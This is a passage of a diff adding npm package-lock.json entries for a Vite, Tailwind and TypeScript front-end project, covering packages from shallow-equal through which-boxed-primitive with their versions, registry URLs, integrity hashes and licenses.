"^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shallow-equal": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/shallow-equal/-/shallow-equal-3.1.0.tgz", + "integrity": "sha512-pfVOw8QZIXpMbhBWvzBISicvToTiM5WBF1EeAUZDDSb5Dt29yl4AYbyywbJFSEsRUMr7gJaxqCdr4L3tQf9wVg==", + "license": "MIT" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.10.0.tgz", + "integrity": "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.12", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", + "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "regexp.prototype.flags": "^1.5.3", + "set-function-name": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.repeat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz", + "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.5" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-mod": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.3.tgz", + "integrity": "sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==", + "license": "MIT" + }, + "node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tabbable": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.2.0.tgz", + "integrity": "sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==", + "license": "MIT" + }, + "node_modules/tailwind-merge": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.0.2.tgz", + "integrity": "sha512-l7z+OYZ7mu3DTqrL88RiKrKIqO3NcpEO8V/Od04bNpvk0kiIFndGEoqfuzvj4yuhRkHKjRkII2z+KS2HfPcSxw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.0.8.tgz", + "integrity": "sha512-Me7N5CKR+D2A1xdWA5t5+kjjT7bwnxZOE6/yDI/ixJdJokszsn2n++mdU5yJwrsTpqFX2B9ZNMBJDwcqk9C9lw==", + "license": "MIT" + }, + "node_modules/tailwindcss-animate": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz", + "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==", + "license": "MIT", + "peerDependencies": { + "tailwindcss": ">=3.0.0 || insiders" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", + "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tree-kill": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "license": "MIT", + "bin": { + "tree-kill": "cli.js" + } + }, + "node_modules/ts-api-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.0.1.tgz", + "integrity": "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typescript": { + "version": "5.7.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz", + "integrity": "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==", + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-eslint": { + "version": "8.24.1", + "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.24.1.tgz", + "integrity": "sha512-cw3rEdzDqBs70TIcb0Gdzbt6h11BSs2pS0yaq7hDWDBtCCSei1pPSUXE9qUdQ/Wm9NgFg8mKtMt1b8fTHIl1jA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "8.24.1", + "@typescript-eslint/parser": "8.24.1", + "@typescript-eslint/utils": "8.24.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <5.8.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undici-types": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.3.0.tgz", + "integrity": "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/use-callback-ref": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", + "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sidecar": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz", + "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==", + "license": "MIT", + "dependencies": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/victory-vendor": { + "version": "37.3.6", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", + "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + }, + "node_modules/vite": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz", + "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==", + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite-plugin-full-reload": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/vite-plugin-full-reload/-/vite-plugin-full-reload-1.2.0.tgz", + "integrity": "sha512-kz18NW79x0IHbxRSHm0jttP4zoO9P9gXh+n6UTwlNKnviTTEpOlum6oS9SmecrTtSr+muHEn5TUuC75UovQzcA==", + "license": "MIT", + "dependencies": { + "picocolors": "^1.0.0", + "picomatch": "^2.3.1" + } + }, + "node_modules/vite/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/picomatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", + "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/w3c-keyname": { + "version": "2.2.8", + "resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz", + "integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==", + "license": "MIT" + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + 